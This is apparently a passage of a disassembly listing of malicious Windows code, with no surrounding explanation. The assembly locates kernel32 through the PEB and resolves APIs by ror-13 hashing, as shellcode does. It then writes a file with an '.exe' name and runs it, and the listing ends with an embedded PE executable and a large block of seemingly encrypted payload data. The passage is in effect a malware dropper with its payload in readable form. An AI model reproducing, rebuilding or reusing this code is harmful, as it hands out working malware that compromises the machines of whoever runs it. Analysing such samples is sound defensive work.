mov edi, esi xor eax, eax mov cl, 0FFh repne scasb mov dword ptr [edi-1], 6578652Eh mov [edi+3], al push 1001h lea eax, [esi+200h] mov byte ptr [eax], 87h push eax push esi call dword ptr [ebp+16h] mov edi, eax push dword ptr [ebp+131h] lea eax, [ebp+135h] push eax push edi call dword ptr [ebp+1Ah] push edi call dword ptr [ebp+1Eh] push 0 push esi call dword ptr [ebp+12h] add esp, 400h popa retn sub_44402C endp ; =============== S U B R O U T I N E ======================================= sub_4440A4 proc near ; CODE XREF: sub_44402C+Ap pusha mov edi, eax loc_4440A7: ; CODE XREF: sub_4440A4+11j mov eax, [edi] test eax, eax jz short loc_4440B7 push ebx push eax call sub_4440DD stosd jmp short loc_4440A7 ; --------------------------------------------------------------------------- loc_4440B7: ; CODE XREF: sub_4440A4+7j popa retn sub_4440A4 endp ; =============== S U B R O U T I N E ======================================= sub_4440B9 proc near ; CODE XREF: sub_44402Cp push ebp mov eax, large fs:30h test eax, eax js short loc_4440D0 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp short loc_4440D9 ; --------------------------------------------------------------------------- loc_4440D0: ; CODE XREF: sub_4440B9+9j mov eax, [eax+34h] mov ebp, [eax+0B8h] loc_4440D9: ; CODE XREF: sub_4440B9+15j mov ebx, ebp pop ebp retn sub_4440B9 endp ; =============== S U B R O U T I N E ======================================= sub_4440DD proc near ; CODE XREF: sub_4440A4+Bp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4440F3: ; CODE XREF: sub_4440DD+33j jecxz short loc_444127 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_4440FE: ; CODE XREF: sub_4440DD+2Dj xor eax, eax lodsb cmp al, ah jz short loc_44410C ror edi, 0Dh add edi, eax jmp short loc_4440FE ; --------------------------------------------------------------------------- loc_44410C: ; CODE XREF: sub_4440DD+26j cmp edi, [esp+20h+arg_0] jnz short loc_4440F3 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_444129 ; --------------------------------------------------------------------------- loc_444127: ; CODE XREF: sub_4440DD:loc_4440F3j xor eax, eax loc_444129: ; CODE XREF: sub_4440DD+48j mov [esp+20h+var_4], eax popa retn 8 sub_4440DD endp ; --------------------------------------------------------------------------- align 2 dw 0AAh dd 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0C800h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 83F10700h, 0ED9043D8h, 2 dup(0ED90438Bh), 0B098C08Bh dd 0ED90408Bh, 0EC90438Bh, 0ED90428Bh, 0ED90438Bh, 0ED90428Bh dd 0B79C468Bh, 0ED90428Bh, 6369528Bh, 0ED904368h, 8Bh dd 3 dup(0) dd 455000h, 3014C00h, 1E138600h, 43h, 0 dd 0F00E000h, 7010B01h, 0Ah, 0A60000h, 4C0000h, 113CF00h dd 2 dup(100000h), 80000000h, 100009h, 20000h, 400h, 0 dd 400h, 0 dd 1200000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 600800h, 2800h, 14h dup(0) dd 600000h, 800h, 6 dup(0) dd 73622E00h, 73h, 4A1C00h, 100000h, 5 dup(0) dd 8000h, 64722EC0h, 617461h, 5400h, 600000h, 20000h, 40000h dd 3 dup(0) dd 4000h, 61642E40h, 6174h, 0A3FE00h, 700000h, 0A40000h dd 60000h, 3 dup(0) dd 4004000h, 0C0h, 71h dup(0) dd 603800h, 0 dd 603000h, 2 dup(0) dd 604600h, 600000h, 5 dup(0) dd 603800h, 0 dd 4500AF00h, 50746978h, 65636F72h, 4B007373h, 454E5245h dd 2E32334Ch, 6C6C64h, 6Bh dup(0) dd 3D9A5100h, 0B25D970Ch, 82526279h, 15DEDEB6h, 8F16940Fh dd 6F38FDA7h, 0BE874E4Eh, 0E7AB59F5h, 0B403F46Ch, 0E051F69Bh dd 5D072C80h, 0A0D3782Ch, 6D1F2AB3h, 6D36FFC8h, 0E59023CFh dd 0EB5CA055h, 892EC36Ch, 5FD1E88h, 0CA01E074h, 71B4BBFCh dd 73673A28h, 3FDD00B0h, 8662CFBCh, 39D39CEEh, 0A5893E9Dh dd 2A0B7090h, 0DFF8B881h, 6D2C4FB9h, 0C398A6F3h, 0FAB92544h dd 4D5173D9h, 14F06253h, 58A3AB46h, 96EE500h, 183ED66Fh dd 0F8C18A2Bh, 4ECE662Fh, 0F0630AA0h, 6019B169h, 8B8F2EEAh dd 0EAAED7E4h, 0CEC7DC9h, 0AC17B091h, 0DAEA1EE7h, 8783A63h dd 531CE5ACh, 983BFDBAh, 76484468h, 2114E6CFh, 0CEC64A9Dh dd 743DD032h, 6CC377A2h, 4796B288h, 0A5E5B5FEh, 2DF562Ah dd 91F411E1h, 80BB1798h, 0C3ECBD14h, 0E7A06DF3h, 3C8C551Eh dd 0F9829ECh, 0B37CD14Fh, 0E75821EAh, 6F2F788Dh, 327FCBF1h dd 67C69801h, 642DF6AFh, 1BD49D5Dh, 6FCE00D2h, 0D2A4CDA6h dd 73CA564Ch, 0D111E1CAh, 735C7DDEh, 0DFF0E1AAh, 0D6642DF6h dd 0AD772045h, 89561FE8h, 9236FFC8h, 0FF10D95Ch, 0DBA46D36h dd 0F7804912h, 0D39C652Eh, 0AF78410Ah, 8B541DE6h, 6730F9C2h dd 430CD59Eh, 1FE8B17Ah, 0FBC48D56h, 0D7A06932h, 0B37C450Eh dd 9E5922EBh, 611291CAh, 0E60E8A2Ch, 40A0FA7h, 26D871ECh dd 0E580B99Ch, 4CF6812Fh, 3BA349A8h, 9653F99Ch, 391886ADh dd 4AAB6C02h, 19260FA8h, 52C80D97h, 0EE41ED8Ch, 0CAA76428h dd 0EEB78049h, 99935C25h, 4A246C8Eh, 53E9FA10h, 3CF0E329h dd 0DB0CC2h, 0E73A21ECh, 431C5785h, 1229B411h, 73324EAh dd 8840A396h, 0B3A7B05Eh, 1AD12A1Ah, 0F63B2CE2h, 845A2D9Eh dd 0E2BFA866h, 0BD4E11F2h, 9A56814Fh, 16B8AB60h, 0BA4D66B4h dd 25CFD846h, 0EE2235DBh, 0F4055EFCh, 0D6697A90h, 60BFC0BAh dd 4E81D278h, 6D5AE12h, 0A43F28E6h, 4FD17C16h, 3FE4FF1Dh dd 1BE4AD76h, 0F7C08952h, 0D39C652Eh, 0FF78410Ah, 6CE9B273h dd 0C915D8A2h, 21E44C1Bh, 0FDC68F58h, 39A26B34h, 0CF4D29F0h dd 0BD763907h, 3902CB54h, 25EEB760h, 521BE20Ch, 9F6831F9h dd 0ECB57CA6h, 29F2BB43h, 15DE9760h, 1CA935Ch, 0DBA8713Ah dd 0BF88511Ah, 9F642DF6h, 7B440DD6h, 5720E9B2h, 450ED79Eh dd 25EEB778h, 2CA935Ch, 0E0A9723Bh, 0CC955E17h, 0B8814A13h dd 0A46D36EFh, 905922CBh, 7C35FEC7h, 0FC21EAB3h, 603CA52h dd 521BE4ADh, 2B5821E9h, 10D9A26Bh, 0ECB57E47h, 0C8915A23h dd 0A46D36FFh, 804912DBh, 5C25EEB7h, 0D801CA93h, 5E1FE62Eh dd 3A03CC95h, 16DFA871h, 0F2BB844Dh, 0CE976029h, 0AA733C05h dd 864F18E1h, 622BF4BDh, 3E07D099h, 1AE3AC75h, 0F6BF8851h dd 0D29B642Dh, 0AE774009h, 8A531CE5h, 662FF8C1h, 420BD49Dh dd 1EE7B079h, 0FAC38C55h, 0D69F6831h, 0B27B440Dh, 8E5720E9h dd 3F33FCC5h, 733C25A6h, 4F18E1AAh, 7C450CD6h, 6831FAA3h dd 440DD69Fh, 24EDB67Fh, 0C9925Bh, 0DCA56E37h, 38814A13h dd 0A13DA66Fh, 0FEA75FD0h, 0DAA36C35h, 0C68F5801h, 3CC959Dh dd 0E1AA7338h, 0C18A531Ch, 9D662FF8h, 79420BD4h, 151EE7B0h dd 64FA03CCh, 3CE11CEDh, 18E1AA73h, 945D26EFh, 9AA73BBh dd 3F08D19Ah, 21EAB370h, 0FDC68F58h, 0D9A26B34h, 957E4710h dd 351A430Ch, 0D8BD8825h, 0D13A8B1Ah, 0B3238178h, 11D402CAh dd 6608CA71h, 68C94AF7h, 0E15930DCh, 0A82E9101h, 8F868D8h dd 601AB481h, 977E02C7h, 0B554FD43h, 3EE16AE1h, 9A318155h dd 0A9AC46FAh, 0E99A04AFh, 56E2962Ch, 20EB58BDh, 19B4866Bh dd 37AEA922h, 17E25BB8h, 89533AA8h, 33E89A2Bh, 0B340ED83h dd 8B6BE152h, 8F86822h, 0E3432397h, 0CC0A8373h, 9D2DEF64h dd 3CD31EE7h, 0C221282Fh, 0A24CE771h, 3ADE6411h, 0B360E59Eh dd 894E33F8h, 70E78B21h, 5A3308B0h, 4C89049Fh, 8F740FA5h dd 8841C253h, 0C469EC96h, 42F1A852h, 0CA671BB0h, 8280610Ch dd 0D862CCDh, 0B5590C08h, 52C76F0Fh, 18B254C1h, 6525DF70h dd 8F44D7BCh, 6B34FDC6h, 4710D9A2h, 23ECB57Eh, 0FFC8915Ah dd 0DBA46D36h, 0B7804912h, 935C25EEh, 6F3801CAh, 4B14DDA6h dd 27F0B982h, 3CC955Eh, 0DFA8713Ah, 0BB844D16h, 976029F2h dd 733C05CEh, 4F18E1AAh, 2BF4BD86h, 7D09962h, 0E3AC753Eh dd 0BF88511Ah, 9B642DF6h, 774009D2h, 531CE5AEh, 2FF8C18Ah dd 0BD49D66h, 0E7B07942h, 0C38C551Eh, 9F6831FAh, 7B440DD6h dd 5720E9B2h, 33FCC58Eh, 0FD8A16Ah, 0EBB47D46h, 0C7905922h dd 0A36C35FEh, 7F4811DAh, 5B24EDB6h, 3700C992h, 13DCA56Eh dd 0EFB8814Ah, 0CB945D26h, 0A7703902h, 834C15DEh, 5F28F1BAh dd 3B04CD96h, 17E0A972h, 0F3BC854Eh, 0CF98612Ah, 0AB743D06h dd 875019E2h, 632CF5BEh, 3F08D19Ah, 0E7E4AD76h, 0A41DE42Eh dd 814A131Bh, 5D26EFB8h, 3902CB94h, 3DDEA770h, 83440D15h dd 0B07940CAh, 8C551EE7h, 6831FAC3h, 720DD69Fh, 408148D0h dd 0EDB67F87h, 0C9925B24h, 0A56E3700h, 0C34A13DCh, 0F9CA939Bh dd 36FFC650h, 12DBA46Dh, 0EEB78049h, 9A935C25h, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 7DEAB37Ch, 43844DD5h dd 0F0B9808Ah, 0CC955E27h, 0A8713A03h, 0E24D16DFh, 0D0F1B840h dd 5D26EF37h, 3902CB94h, 15DEA770h, 83BA834Ch, 596A33FBh dd 0D69F66B0h, 0B27B440Dh, 8E5720E9h, 1433FCC5h, 0DEEFB67Eh dd 5B24ED35h, 3700C992h, 13DCA56Eh, 63B8814Ah, 41824BD3h dd 0EEB77E88h, 0CA935C25h, 0A66F3801h, 1A4B14DDh, 0A021E830h dd 8D561FE7h, 6932FBC4h, 450ED7A0h, 21EAB37Ch, 0FDC68F58h dd 0D1A26B34h, 9E8B179h, 733C050Dh, 2418E1AAh, 0BE58FF94h dd 0C3B6291Bh, 33FC8136h, 0AB4BED6Ah, 42E9B106h, 0DA8803CBh dd 7E02CB12h, 0F7AE27D2h, 822FB741h, 12A06EE5h, 68ECB578h dd 6AE473E0h, 2FAA1DE7h, 47C86D02h, 8E12E07Eh, 8D08E315h dd 0E92ACF6Ch, 1C8B1620h, 659F1F96h, 45EA07F2h, 8EA66FA0h dd 0A92EA32Fh, 0C415E05Bh, 0D781B257h, 35AE6432h, 7F1CB15Eh dd 0BA3FBEB6h, 4F2F462Eh, 45EA8FA8h, 5FD854CCh, 43DE58DFh dd 29CE638Ch, 0ECF76E8h, 972ED869h, 42F700E7h, 0B5AB74BDh dd 0CA3CC823h, 0A055E251h, 0F5491203h, 7315B95Eh, 0BA849ACh dd 1BE4AD66h, 72C08952h, 0CC11E3A0h, 7E713A03h, 0BD854CD4h dd 98622BF4h, 773F08D1h, 9F1CE5AEh, 8D26EF37h, 0BF34FD05h dd 0E3460F17h, 6F7C45EEh, 0CD965FA7h, 5EFB5804h, 1B14B9h dd 632CE9AEh, 3708D19Ah, 23ECB57Eh, 0FFC8915Ah, 0DBA46D36h dd 0B7804912h, 935C25EEh, 6F3801CAh, 0CB14DDA6h, 4E18917Eh dd 541C4888h, 7A9BC48Dh, 561FE8B1h, 0B0B48A0Eh, 0EA1DA532h dd 85BBF0A6h, 145A58E7h, 0F6BF8851h, 951A642Dh, 0A77039E1h dd 8FAE0735h, 380845C0h, 30E8FA3Ah, 0C5EFA4F6h, 7B49D9EEh dd 6FC7B6C0h, 4A14DDA6h, 0F446E058h, 89BE155Fh, 8A132BB9h dd 0D6FCA240h, 13C0022Ah, 65BDF2E1h, 0A29CBD67h, 0D75D7832h dd 0AD94D07Ch, 0E762296Ch, 4100289Dh, 4A8A0698h, 0F446E058h dd 89BE155Fh, 83132BB9h, 47E1594Bh, 0A1165EF5h, 1034B688h dd 0DD53C80h, 0BD7B27C5h, 278CA473h, 6AB23012h, 7A20C20Ah dd 46849454h, 3F706791h, 1E23E5E7h, 3DC50E96h, 0F42A5874h dd 0B6022AC2h, 0BA0B4DEBh, 2E4DDA8Dh, 0D19FDC67h, 4967DB53h dd 22586805h, 0C3E1C0ECh dd 3A7AB3E8h, 5BA42F71h, 951B5D13h, 61AC0854h, 6177BFD7h dd 76AC9C5Dh, 93A1AB40h, 99EE825Eh, 0C18A531Ch, 763FFB41h dd 0A4A26EADh, 57DF2C4Dh, 1EEACBF9h, 2173A090h, 534206Bh dd 0F839185Ah, 0E30EE7EEh, 2C8534E6h, 2CA56D88h, 7C82C48Ah dd 266D7CBCh, 4208B204h, 58CE038Ah, 0E135C452h, 0D952DBB4h dd 447E4811h, 28E5EBB1h, 0D99203A0h, 0C2ED4811h, 0C4CD000Eh dd 0CBEB7A8Fh, 2FE54BFBh, 40D553D1h, 0DB52ACD0h, 567295E0h dd 5F875849h, 1DD79796h, 0AC08D1DBh, 2F60F7B3h, 0C8BA0785h dd 101ED2A1h, 9578D5DCh, 46DE6C2Ch, 905A149Eh, 0BD444E4Bh dd 72BC3D64h, 27915B5Bh, 696D230Ch, 1098A740h, 5192185Ah dd 0CFA64C67h, 1F15A4CFh, 78819E9h, 0C48F4FCFh, 0E425875h dd 0AE6139C9h, 864ECC8Ch, 23CAD0BFh, 448E915Ah, 0C92A0E7Dh dd 5B450DD6h, 773586AEh, 0EEC77775h, 0F7BF7693h, 0D0A46D2Dh dd 0CC95471Eh, 0A10ADDF5h, 0F938AD67h, 0E8A0743Dh, 588E84D2h dd 0C820295Dh, 0D30B73C7h, 69220BB4h, 2060128Bh, 0EAFB37Eh dd 6834EDCFh, 5305A254h, 5EF74855h, 0F23B25D7h, 0C105A0D6h dd 1A840128h, 0F2604B01h, 0BC2253EBh, 8E4A0C75h, 2F659B47h dd 0F792ADB9h, 0CDBB4F9Bh, 721AA5A9h, 0E18A08C2h, 28ED2344h dd 83CB645Dh, 0B0E6F8C7h, 9A1420C1h, 890E9415h, 38478B09h dd 31B53FBDh, 7A487E44h, 0C40AF3BAh, 30BF3AB6h, 6EA22AB6h dd 5FD5EEB6h, 9952C337h, 0BB3FC9FFh, 9638138h, 7473F03Dh dd 77D087A3h, 2CC5498Eh, 8A1EE453h, 158EF4A3h, 2E0AB2A3h dd 0F8F1EE98h, 3A7044EBh, 0A5772EF9h, 7FF4CCD4h, 0D88A33D8h dd 0BBFD9622h, 53ED3977h, 5C59A360h, 0C79C376Ch, 4371435Dh dd 0AC7C045h, 0CDAF38BEh, 20B40F28h, 0E4BD21B2h, 78388D0Ah dd 0C092B6F1h, 139720D0h, 830B11E0h, 7A54BE4h, 0D379E86Dh dd 0F3352B10h, 3166769Dh, 8236C16Fh, 18E84FE6h, 343CE222h dd 49865DEh, 0C63F5A88h, 0A41FF66Dh, 905C95E9h, 801FB05h dd 0B1641258h, 0DE5EFF6Bh, 14B59F05h, 0FF80591Ah, 93A5834Dh dd 0E151128Fh, 3FA90F28h, 0F5ECD0A5h, 0C01EC872h, 15FDD6A7h dd 0C2751ADBh, 754C5051h, 9C993FD3h, 58CB81A4h, 28E8B2ABh dd 2C0063B7h, 0C2C06919h, 713FA040h, 9B8C7CC7h, 9A034140h dd 41100CF1h, 0B1F75558h, 17592AB4h, 50DF97CDh, 106CAAB0h dd 7AFB6608h, 7223EEB7h, 72801EA8h, 2BF74Dh, 2137EAC3h dd 8B4B6FF4h, 0E685826Eh, 3E167FCFh, 0D1F5390Bh, 85D65F3Eh dd 0D08BB7A3h, 310A44C4h, 5615ECCAh, 0D62AF062h, 4A13CDB8h dd 0CB6A108Eh, 74821E3Dh, 9F1C67BEh, 378081AEh, 0B10C6376h dd 3441FD86h, 621226FDh, 36284E99h, 0D29842EFh, 0C17CC118h dd 0A38B1C20h, 5EE829E1h, 0B235050Bh, 0DD54522Dh, 0D83EFA7Dh dd 72BBC5B6h, 572A27FDh, 76C09CB8h, 3199E6DAh, 5DDD1727h dd 0B003AD9Dh, 3526E194h, 0B9A27B6Ch, 0B2466A3Eh, 0A8CE14A3h dd 98716984h, 1E8401F6h, 568F0E4Ch, 0DC1EB486h, 12B8C79h dd 0D575BE5Bh, 40C66794h, 8D31D099h, 66C720D3h, 807F4889h dd 5AA54B23h, 42996D6Ah, 0F66805ADh, 83A9B97Ch, 177AB6EEh dd 0B579FD75h, 0EAD862CCh, 1E3B458Ah, 0D71C2BF5h, 7817C005h dd 0CAD410B9h, 4BA7854Bh, 625E2DD0h, 0EF6EB685h, 76AFE869h dd 59199FADh, 40818E66h, 13CD2668h, 66248BEBh, 0ED84F0CBh dd 0A7E7023Ah, 1DC14709h, 9E53A042h, 72B120DEh, 0BAC6C21h dd 0BBEFC5F0h, 0B0DEE488h, 5AF59C9Dh, 0C2DCA1CAh, 1AC51F1h dd 17867F1Eh, 0B8144FC5h, 0E5520D2Fh, 0CB240744h, 3D1C4146h dd 828192h, 0BE6CA294h, 0E9104573h, 359ABFC3h, 6150779Ah dd 80B02E1h, 531076B7h, 5B694A0h, 4387BDEFh, 3BC60A35h dd 492C568Bh, 0C9156FC3h, 56E5F9F1h, 0B7E2DD69h, 0C72B2F9Ch dd 0EF151386h, 0A5928BF5h, 1E7B625Fh, 0E5D1D227h, 0CF46260Bh dd 0F406D6FDh, 32E61090h, 0B57FB6D5h, 0C325627Eh, 0DA103088h dd 6FE8463Ch, 1E95595Ch, 23A9FCD7h, 0FD59587Bh, 2C8EFDBFh dd 92C8FC4Fh, 35F7065Ch, 4C77FFE9h, 0A38AE9CEh, 1496EDE3h dd 0DAD2ED8Bh, 6B3ABB7Bh, 69B3DACBh, 86C25CDh, 0D1CF053Bh dd 0C56CB05Dh, 2C944BFFh, 3ADD2CCBh, 19999B07h, 0BD1D1D57h dd 0E6F5A204h, 2F4B0DBBh, 0B05AB254h, 0ABEC2E4Bh, 0F7B7E223h dd 6886D2B8h, 0C16D0E52h, 6655D7C8h, 29ACE43Bh, 26BF236Ah dd 93477FFEh, 7A9758B1h, 401F0091h, 698E1C97h, 783D4439h dd 0E647169Eh, 1660E6D2h, 0C63E834Bh, 8B7AEA95h, 64536200h dd 0C06D9E45h, 6584CD8h, 0D790EA00h, 66C3913Dh, 7AF823B7h dd 8D386B39h, 0A6C70F8Eh, 7180A9EDh, 0C2F74D4Bh, 0E0D5DD78h dd 62F1DEDEh, 936F99A9h, 0C14AC558h, 0ACC7F975h, 72EB7098h dd 35793CFFh, 0B8D29B8Bh, 0F2FED50Eh, 35D462D1h, 0D6101099h dd 0CA08AEF4h, 9E18AB63h, 0F233BE51h, 654C3AEh, 0EC36B288h dd 38601F4Bh, 0E4403C78h, 6120F34Dh, 0E4C918CFh, 9488CFC4h dd 0BD26ABF3h, 0B566CF15h, 7879B977h, 4B7650DBh, 0B871B81Ch dd 0BFC6E0CAh, 49299462h, 0C1BF12CDh, 7ABF6C9Bh, 5BF03B32h dd 0A38288CEh, 0C24262h, 0E1D23379h, 7CB2E848h, 7EEA3446h dd 0AF84AD8Fh, 0BF42CECEh, 746EC7Dh, 30C8C2Fh, 4C8192D2h dd 5FE10C2h, 0E71DABE9h, 60220F95h, 0A0D98F77h, 5C75C62Bh dd 7B7D79A7h, 0DFF1FFB7h, 808D44A4h, 94BD2FDBh, 15FF87C4h dd 46038DB4h, 2A5207C6h, 1F98B767h, 36567729h, 131E10FDh dd 0DAE131F6h, 91A96819h, 0DED2470h, 13D99B64h, 3A707069h dd 0AB6AFAFFh, 0C46D468Dh, 21F38C31h, 3EB4020Ah, 0CF3279BFh dd 0A772A708h, 3BDF782Bh, 0CE6BCE95h, 0D6E7ED29h, 0D2F63FE2h dd 0A6993AB3h, 33C461E7h, 4EA0D6B2h, 0E3984847h, 0D52DF221h dd 0A979C797h, 3CE996B7h, 4C02A083h, 7CC2487Eh, 0FD6133D5h dd 6F19BF58h, 41F25EB2h, 0A369DD26h, 0ED1BEB7Dh, 742D2AB7h dd 4275E9A8h, 7AB0BBF7h, 0C36F08C4h, 0E6463536h, 9A5202A2h dd 1C141DB6h, 0D7FB51DBh, 30F92685h, 0A2321F14h, 0D2BB470Fh dd 2AFC9C34h, 0D2674573h, 0EC09F54Ch, 0F554E50Dh, 0F12B721h dd 9DAB4FE5h, 111C58DDh, 0FA1B9994h, 6B676531h, 0A999A3D1h dd 0A4AB44C1h, 0B81DEE52h, 0C48E01D3h, 0B95FA44Dh, 5D7A239Dh dd 6BCD56EAh, 856BF6F2h, 87D28F4Dh, 0F84D8267h, 5A903438h dd 0AE611EB5h, 0A65DF504h, 35623414h, 0AB71E692h, 7FA1730Ch dd 0CB1BEFB4h, 4B61A7DDh, 66FF4FD5h, 3E8188Ah, 0B4A043B8h dd 2A21A567h, 0FC5B957h, 4EBC6F27h, 19E279C2h, 0F543F92Fh dd 20D423EFh, 2DAF37DDh, 2E34C39Ah, 4BE50C07h, 72F71F87h dd 54BE3992h, 0C2F8CE32h, 8C5CF073h, 0D1403015h, 7BFA6429h dd 2BAF2EECh, 2436C586h, 45290724h, 928643E3h, 0EDA7DA78h dd 0E609FF4Eh, 0C489334Ch, 0A3AE8B4Ch, 0BFBF8635h, 0E962F65Dh dd 0D6813117h, 262E34F7h, 72C2AD11h, 0BC43B85Ah, 25D85916h dd 655DEFD9h, 58E66833h, 45D855A7h, 3E02A1B4h, 62D5461Eh dd 28D118CAh, 0E3480410h, 4B79AA5Ch, 5A0A0115h, 2A926DE5h dd 42223CD2h, 0A6A42CD6h, 0AF6E8D41h, 640C3CBBh, 0BAF0A481h dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h dd 1CE241D0h, 0D610774Eh dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h, 8837A837h dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h, 338F18D7h dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h, 673ADCB8h dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h, 0FF14D9E8h dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh, 0C625A20Ch dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h, 219551A4h dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h, 1046B567h dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch, 6356DCADh dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h, 0FD733FB5h dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h, 0DE52A49Bh dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h, 9A2A8D23h dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h, 1112E77Dh dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch, 50FA55FDh dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh, 0E3AB61F0h dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh, 0BE009F69h dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch, 279D76F8h dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h, 0BB43FE4Bh dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h, 0EB511ECDh dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h, 0E3794F73h dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h, 0A1D8661Fh dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h, 3041C3EDh dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh, 0D28697A1h dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch, 61D64ABDh dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h, 5FF926C0h dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch, 98A1170Eh dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h, 0DF91003Bh dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h, 0A225ACC7h dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh, 24F54BECh dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h, 0B356FD3Ah dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh, 7ABA26C0h dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h, 958F476Ah dd 7EB45DA7h, 5ED6116h, 0F100FA1Ah, 871D15DBh, 0B414503Fh dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah, 0CC25EE98h dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh, 6E06AAB6h dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh dd 340BB790h, 5D078C48h, 